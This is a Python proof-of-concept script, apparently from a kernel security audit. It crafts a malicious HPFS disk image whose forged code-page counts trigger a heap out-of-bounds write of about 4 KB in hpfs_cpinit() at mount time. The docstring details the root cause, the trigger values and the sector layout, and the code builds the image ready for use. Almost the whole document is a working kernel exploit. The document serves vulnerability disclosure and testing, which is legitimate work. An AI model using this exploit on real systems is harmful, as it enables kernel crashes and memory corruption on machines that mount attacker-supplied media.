DF-0861 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 | #!/usr/bin/env python3 """ DF-0861 — Hand-crafted HPFS image triggering the unbounded code-page inner-loop heap OOB WRITE in hpfs_cpinit() (sys/vfs/hpfs/hpfs_subr.c:274,276,282,292,297 + hpfs_cpload bcopy :230). Root cause ---------- hpfs_cpinit() at mount time does: cpicnt = hpmp->hpm_sp.sp_cpinum; [subr.c:274] hpmp->hpm_cpdblk = kmalloc(cpicnt * sizeof(struct cpdblk), ...); [:276] ... while (cpicnt > 0) { [:282] bread(... lsn ...) [:283] cpisp = (struct cpisec *)bp->b_data; cpibp = cpisp->s_cpi; for (i=0; i<cpisp->s_cpicnt; [:292] i++, cpicnt--, cpdbp++, cpibp++) { error = hpfs_cpload(hpmp, cpibp, cpdbp); [:297] ... } } The OUTER while() is bounded by `cpicnt` (= sp_cpinum, the *total* number of code pages on the volume), but the INNER for() is bounded by `cpisp->s_cpicnt` (the count *in this single sector*, a SEPARATE on-disk u32). `cpdbp` is advanced on every inner iteration while only `cpicnt` (not `i`) is decremented — so if a single code-page-info sector advertises `s_cpicnt > sp_cpinum`, the inner loop runs `s_cpicnt` times and writes `sizeof(struct cpdblk)` (=136 B) through `cpdbp` for `s_cpicnt` iterations, overshooting the `cpicnt`-sized `hpm_cpdblk` array. hpfs_cpload() (subr.c:210) performs the actual write: for (i=d_cpfirst; i<cpdsp->d_cpcnt; i++) [:228] if (cpdsp->d_cpdblk[i].b_cpid == cpibp->b_cpid) { bcopy(cpdsp->d_cpdblk + i, cpdbp, [:230] sizeof(struct cpdblk)); return (0); } i.e. 136 attacker-controlled disk bytes are written into the (overshot) `cpdbp`. Trigger values -------------- sp_cpinum = 1 -> cpicnt=1, kmalloc(1*136 = 136 B) s_cpicnt = 0x1F (31) -> inner loop runs 31 times iter 0 : cpdbp = &hpm_cpdblk[0] (in bounds) iter 1..30: cpdbp = &hpm_cpdblk[1..30] (30 * 136 = 4080 B OOB WRITE) Each of the 30 OOB iterations writes 136 bytes of attacker-controlled disk data (struct cpdblk, of which b_upcase[0x80]=128 B is freely forgeable) into the slab neighbourhood of the 136-byte kmalloc -> heap corruption. Image layout (sector size = 512 B, DEV_BSIZE): LSN contents ---- --------------------------------------------------------------- 0x00 boot sector (zeros + 0x55AA) 0x10 SuperBlock (magic FA53E9C5F995E849; rootfno=0x20; btotal=0x80; su_bitmap.lsn1=0x30) 0x11 SpareBlock (magic FA5229C5F9911849; sp_cpinum=1; sp_cpi=0x60) 0x20 root fnode (VDIR; minimal) 0x30 bitmap dir (one u32 = 0x38) 0x38 bitmap (4 KB; mark metadata sectors used) 0x40 dirblk (minimal; not reached on mount but kept for sanity) 0x48 file fnode (minimal) 0x50 file data 0x60 cpisec (s_cpicnt=0x1F; 31 cpiblk entries, b_cpid=1, b_cpdsec=0x70) 0x70 cpdsec (d_cpcnt=1; d_cpfirst=0; d_cpdblk[0].b_cpid=1; b_upcase filled with marker 0x41..0x...) -- this is the attacker-controlled content bcopied OOB. Mount (root): mount_hpfs /dev/vnX /mnt -> hpfs_mountfs -> hpfs_bminit (ok) -> hpfs_cpinit -> inner loop overshoots -> 30 * 136 = 4080 B heap OOB write -> slab corruption / panic (INVARIANTS ON in GENERIC catches the slab damage). """ import struct, sys SECTOR = 512 # magics SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE CPI_MAGIC = 0x494521F7 CPD_MAGIC = 0x894521F7 # struct fnode offsets (matches hpfs.h layout on amd64) FN_OFF_MAGIC = 0x00 FN_OFF_NAMELEN = 0x10 FN_OFF_NAME = 0x11 FN_OFF_PARENT = 0x20 FN_OFF_FLAG = 0x3B FN_OFF_AB = 0x3C FN_OFF_ABD = 0x44 FN_OFF_SIZE = 0xA4 AB_OFF_FLAG = 0 AB_OFF_FREECNT = 4 AB_OFF_BUSYCNT = 5 AB_OFF_FREEOFF = 6 # struct cpiblk offsets (hpfs.h:292), sizeof=16 CPIB_OFF_COUNTRY = 0 # u16 CPIB_OFF_CPID = 2 # u16 CPIB_OFF_CKSUM = 4 # u32 CPIB_OFF_CPDSEC = 8 # lsn_t u32 CPIB_OFF_VCPID = 12 # u16 CPIB_OFF_DBCSCNT = 14 # u16 CPIB_SIZE = 16 # struct cpisec offsets (hpfs.h:302) CPIS_OFF_MAGIC = 0 # u32 CPIS_OFF_CPICNT = 4 # u32 <-- attacker-controlled, unvalidated CPIS_OFF_CPIFIRST = 8 # u32 CPIS_OFF_NEXT = 12 # lsn_t u32 CPIS_OFF_CPI = 16 # struct cpiblk s_cpi[0x1F] (31 entries) # struct cpdsec offsets (hpfs.h:283) CPDS_OFF_MAGIC = 0 # u32 CPDS_OFF_CPCNT = 4 # u16 CPDS_OFF_CPFIRST = 6 # u16 CPDS_OFF_CKSUM = 8 # u32[3] CPDS_OFF_OFFSET = 20 # u16[3] CPDS_OFF_CPDBLK = 26 # struct cpdblk d_cpdblk[3] # struct cpdblk offsets (hpfs.h:273), sizeof=136 CPDB_OFF_COUNTRY = 0 # u16 CPDB_OFF_CPID = 2 # u16 CPDB_OFF_DBCSCNT = 4 # u16 CPDB_OFF_UPCASE = 6 # char[0x80] <-- attacker-controlled 128 bytes CPDB_OFF_DBCSRNG = 134 # u16 CPDB_SIZE = 136 def build_image(outpath, sp_cpinum=1, s_cpicnt=0x1F): size = 0x80 * SECTOR img = bytearray(size) def wr32(off, v): struct.pack_into('<I', img, off, v & 0xFFFFFFFF) def wr64(off, v): struct.pack_into('<Q', img, off, v & 0xFFFFFFFFFFFFFFFF) def wr16(off, v): struct.pack_into('<H', img, off, v & 0xFFFF) def wr8 (off, v): img[off] = v & 0xFF # ---- Boot sector ---- img[0] = 0xEB wr16(SECTOR-2, 0xAA55) # ---- SuperBlock @ 0x10 ---- su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC) wr8 (su + 8, 2) # su_hpfsver wr32(su + 12, 0x20) # su_rootfno wr32(su + 16, 0x80) # su_btotal (128 sectors) wr32(su + 24, 0x30) # su_bitmap.lsn1 wr32(su + 28, 0x30) # su_bitmap.lsn2 # ---- SpareBlock @ 0x11 (FORGED sp_cpinum + sp_cpi) ---- sp = 0x11 * SECTOR wr64(sp + 0, SP_MAGIC) # sp_cpi lives at offset 0x58 in struct spblock (after sp_spdb array's # predecessor fields). struct spblock layout (hpfs.h:82): # 0x00 sp_magic u64 # 0x08 sp_flag u16 # 0x0A sp_mmcontf u8 # 0x0B unused u8 # 0x0C sp_hf lsn_t u32 # 0x10 sp_hfinuse u32 # 0x14 sp_hfavail u32 # 0x18 sp_spdbavail u32 # 0x1C sp_spdbmax u32 # 0x20 sp_cpi lsn_t u32 <-- code-page-info sector pointer # 0x24 sp_cpinum u32 <-- FORGED total code-page count SP_OFF_CPI = 0x20 SP_OFF_CPINUM = 0x24 wr32(sp + SP_OFF_CPI, 0x60) # sp_cpi -> cpisec sector wr32(sp + SP_OFF_CPINUM, sp_cpinum) # sp_cpinum (forged) # ---- Bitmap dir @ 0x30 ---- bd = 0x30 * SECTOR wr32(bd, 0x38) # ---- Bitmap @ 0x38 (mark metadata sectors 0x00..0x77 used) ---- bm = 0x38 * SECTOR for i in range(0x80): byte = bm + (i >> 3) img[byte] |= (1 << (i & 7)) # default all-free for i in range(0x78): # mark 0x00..0x77 used byte = bm + (i >> 3) img[byte] &= ~(1 << (i & 7)) # ---- Root fnode @ 0x20 (VDIR, minimal) ---- rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8 (rf + FN_OFF_NAMELEN, 1) img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr32(rf + FN_OFF_FLAG, 1) # VDIR img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 0 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8) wr32(rf + FN_OFF_SIZE, 4 * SECTOR) # ---- Dirblk @ 0x40 (minimal, empty-ish; not exercised at mount) ---- db = 0x40 * SECTOR wr32(db + 0, D_MAGIC) wr32(db + 4, 20) wr32(db + 8, 0) wr32(db + 12, 0x20) wr32(db + 16, 0x40) wr16(db + 20, 4 * SECTOR - 20) wr16(db + 22, 0x08) # DE_END # ---- File fnode @ 0x48 (minimal) ---- ff = 0x48 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) wr32(ff + FN_OFF_FLAG, 0) wr32(ff + FN_OFF_SIZE, 0) # ---- Code-page-info sector (cpisec) @ 0x60 (FORGED s_cpicnt=0x1F) ---- cs = 0x60 * SECTOR wr32(cs + CPIS_OFF_MAGIC, CPI_MAGIC) wr32(cs + CPIS_OFF_CPICNT, s_cpicnt) # FORGED: 31 entries in ONE sector wr32(cs + CPIS_OFF_CPIFIRST, 0) wr32(cs + CPIS_OFF_NEXT, 0) # no next cpisec # 31 cpiblk entries: all b_cpid=1, all b_cpdsec=0x70 (the cpdsec sector) for k in range(0x1F): base = cs + CPIS_OFF_CPI + k * CPIB_SIZE wr16(base + CPIB_OFF_COUNTRY, 1) wr16(base + CPIB_OFF_CPID, 1) # must match cpdsec's b_cpid wr32(base + CPIB_OFF_CKSUM, 0) wr32(base + CPIB_OFF_CPDSEC, 0x70) # -> cpdsec sector wr16(base + CPIB_OFF_VCPID, 1) wr16(base + CPIB_OFF_DBCSCNT, 0) # ---- Code-page-data sector (cpdsec) @ 0x70 (attacker content) ---- ds = 0x70 * SECTOR wr32(ds + CPDS_OFF_MAGIC, CPD_MAGIC) wr16(ds + CPDS_OFF_CPCNT, 1) # d_cpcnt=1 wr16(ds + CPDS_OFF_CPFIRST, 0) # d_cpfirst=0 # d_cpdblk[0]: b_cpid=1 (matches), b_upcase filled with marker pattern b0 = ds + CPDS_OFF_CPDBLK + 0 * CPDB_SIZE wr16(b0 + CPDB_OFF_COUNTRY, 1) wr16(b0 + CPDB_OFF_CPID, 1) wr16(b0 + CPDB_OFF_DBCSCNT, 0) # marker: 0x41..0xC0 repeating in b_upcase[128] so leaked/OOB bytes are # unmistakably traceable to this crafted sector for j in range(0x80): img[b0 + CPDB_OFF_UPCASE + j] = (0x41 + j) & 0xFF wr16(b0 + CPDB_OFF_DBCSRNG, 0) with open(outpath, 'wb') as f: f.write(img) overflow_iters = max(0, s_cpicnt - sp_cpinum) overflow_bytes = overflow_iters * CPDB_SIZE print(f"wrote {outpath}: {len(img)} bytes") print(f" sp_cpinum={sp_cpinum} s_cpicnt={s_cpicnt}") print(f" kmalloc(hpm_cpdblk) = {sp_cpinum}*{CPDB_SIZE} = {sp_cpinum*CPDB_SIZE} bytes") print(f" inner loop writes = {s_cpicnt} iters") print(f" OOB iters = {overflow_iters}") print(f" OOB write = {overflow_iters}*{CPDB_SIZE} = {overflow_bytes} bytes") if __name__ == '__main__': cpinum = int(sys.argv[2], 0) if len(sys.argv) > 2 else 1 scnt = int(sys.argv[3], 0) if len(sys.argv) > 3 else 0x1F build_image(sys.argv[1] if len(sys.argv) > 1 else 'df861.img', sp_cpinum=cpinum, s_cpicnt=scnt) |